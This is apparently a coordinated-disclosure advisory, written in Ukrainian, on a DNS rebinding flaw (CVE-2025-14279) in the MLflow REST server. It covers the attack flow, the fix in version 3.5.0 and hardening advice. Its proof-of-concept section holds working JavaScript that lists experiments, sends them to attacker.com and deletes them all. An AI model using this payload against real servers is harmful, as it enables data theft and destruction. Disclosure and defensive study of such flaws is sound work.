Вивантаження та знищення даних у MLflow через відсутню перевірку Origin (DNS rebinding)
Автор: Evan Harris
Ризик: Високий (CVSS 8.1, CVE-2025-14279)
Уражений компонент: REST-сервер MLflow (mlflow/mlflow), версії до 3.4.0 включно
Стисло
REST-сервер MLflow не перевіряв заголовки Origin чи Host у вхідних запитах, залишаючись відкритим для DNS rebinding. Жертва, яка запускає mlflow server локально, а потім відвідує шкідливий сайт, може перетворити свій браузер на проксі, що дістається до інтерфейсу loopback в обхід Same-Origin Policy. За відсутності автентифікації в REST API зловмисник отримує повний доступ на читання та запис: він може перелічити експерименти, вивантажити дані на зовнішній хост і видалити експерименти. Проблемі присвоєно CVE-2025-14279 (CVSS 8.1, Високий), її виправлено у MLflow 3.5.0, де додано перевірку заголовка Host і блокування міжоригінних запитів. Користувачам слід оновитися до 3.5.0 або новішої версії.
Передумови
Сервер відстеження MLflow надає REST API (зазвичай за адресою http://localhost:5000), який вебінтерфейс і клієнтські бібліотеки використовують для створення, пошуку, оновлення та видалення експериментів і запусків. За замовчуванням сервер працює без автентифікації, з припущення, що прив’язка до localhost зберігає його приватним.
Це припущення руйнується під час DNS rebinding. Same-Origin Policy браузера має завадити сторінці, поданій з attacker.com, читати відповіді від localhost:5000, але rebinding обходить її, змінюючи те, у що розв’язується ім’я хоста після завантаження сторінки. Оскільки сервер MLflow приймав запити, не перевіряючи, звідки вони походять, будь-який сайт, який відвідала жертва, міг керувати локальним API.
Огляд
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000]
B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL]
C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface]
D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request]
E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"]
F --> G[Exfiltrate experiment data
to attacker.com]
F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"]
style A fill:#fff3e0
style B fill:#ffebee
style C fill:#ffebee
style D fill:#ffebee
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#ffcdd2
style H fill:#ffcdd2
Сценарій атаки
- Жертва клонує MLflow і запускає сервер локально з типовою конфігурацією (
mlflow server), попутно створюючи деякі експерименти. - Зловмисник розгортає лабораторію DNS rebinding, наприклад Singularity of Origin від NCC Group, і розміщує наведене нижче корисне навантаження у каталозі payloads фреймворку.
- Жертва відвідує сайт зловмисника та залишається на сторінці достатньо довго (менш ніж хвилину), щоб стався rebind.
- DNS-сервер зловмисника спершу розв’язує ім’я хоста у власний IP, щоб корисне навантаження завантажилося, а потім відповідає на пізніші запити адресою
127.0.0.1. Браузер повторно використовує кешоване ім’я, тож викликиfetchсторінки тихо переходять наlocalhost:5000, зберігаючи початковий origin. - Оскільки сервер MLflow не виконує жодної перевірки Origin чи Host, запити успішні. Зловмисник перелічує експерименти, надсилає дані на
attacker.comі видаляє експерименти.
Демонстрація (Proof of Concept)
Наведене нижче корисне навантаження реєструється у фреймворку DNS rebinding. Воно ідентифікує ціль як сервер MLflow, перелічує експерименти через неавтентифікований REST API, вивантажує результати на контрольований зловмисником хост, а потім видаляє кожен експеримент. Оригінальну демонстрацію тут стиснуто до її функціональних кроків.
const MlFlow = () => {
let attackExecuted = false;
async function attack() {
if (attackExecuted) return;
const base = `http://${window.location.hostname}:5000`;
// Read access: enumerate experiments via the unauthenticated REST API
const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
});
const { experiments } = await searchResponse.json();
if (!experiments?.length) { attackExecuted = true; return; }
// Exfiltrate the experiment data to the attacker
fetch('https://attacker.com/messages', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experimentData: experiments }),
});
// Write access: delete every experiment
for (const experiment of experiments) {
await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experiment_id: experiment.experiment_id }),
});
await new Promise(r => setTimeout(r, 500));
}
attackExecuted = true;
}
// Fingerprint the rebound target as an MLflow server before attacking
async function isService() {
const response = await fetch(`http://${window.location.hostname}:5000`);
const body = await response.text();
return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
}
return { attack, isService };
};
// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();
Наслідки
- Вивантаження даних: метадані експериментів читаються через
experiments/searchі надсилаються на контрольований зловмисником хост. - Знищення даних: експерименти видаляються через
experiments/delete. - Маніпуляція даними: той самий неавтентифікований доступ на запис дозволяє операції оновлення експериментів.
- Облікові дані не потрібні: атака працює проти типового розгортання
mlflow server, потребуючи лише того, щоб жертва відвідала шкідливу сторінку, поки сервер запущено.
Відповідь MLflow
Після того, як ми розкрили проблему через процес скоординованого розкриття MLflow, супровідники усунули її у pull request #17910.
Виправлення впроваджує рівень захисного проміжного ПЗ для сервера, який:
- Перевіряє заголовок
Hostза списком дозволених значень (localhost і приватні діапазони IP за замовчуванням), щоб блокувати DNS rebinding. - Блокує міжоригінні запити, що змінюють стан (POST, PUT, DELETE, PATCH), з не-localhost origin.
- Додає захисні заголовки відповіді (
X-Frame-Options: SAMEORIGIN,X-Content-Type-Options: nosniff).
Для розгортань, яким законно потрібен ширший доступ, доступна нова конфігурація, зокрема --allowed-hosts (MLFLOW_SERVER_ALLOWED_HOSTS) і --cors-allowed-origins (MLFLOW_SERVER_CORS_ALLOWED_ORIGINS). Захист вийшов у MLflow 3.5.0, а пізніше проблемі присвоєно CVE-2025-14279 (CVSS 8.1, Високий; CWE-346, Origin Validation Error).
Рекомендації
Для кінцевих користувачів
- Оновіться до MLflow 3.5.0 або новішої версії.
- Зберігайте типові налаштування
--allowed-hostsі--cors-allowed-origins, якщо у вас немає конкретної причини їх розширювати, і ніколи не вимикайте захисне проміжне ПЗ на відкритому сервері. - Не прив’язуйте сервер MLflow до публічної чи недовіреної мережі та поставте перед ним автентифікацію або зворотний проксі, якщо він має бути досяжним за межами localhost.
- Ставтеся до локально прив’язаного сервера як до досяжного з браузера: закривайте або ізолюйте локальні екземпляри MLflow під час перегляду недовірених сайтів.
Хронологія
| Дата | Подія |
|---|---|
| 22 вересня 2025 | Про вразливість повідомлено супровідникам MLflow у межах скоординованого розкриття (issue #17877) |
| 6 жовтня 2025 | MLflow об’єднує виправлення (PR #17910), випущене у v3.5.0 |
| 12 січня 2026 | CVE-2025-14279 опубліковано (CVSS 8.1, Високий) |
| 8 червня 2026 | Публічне розкриття |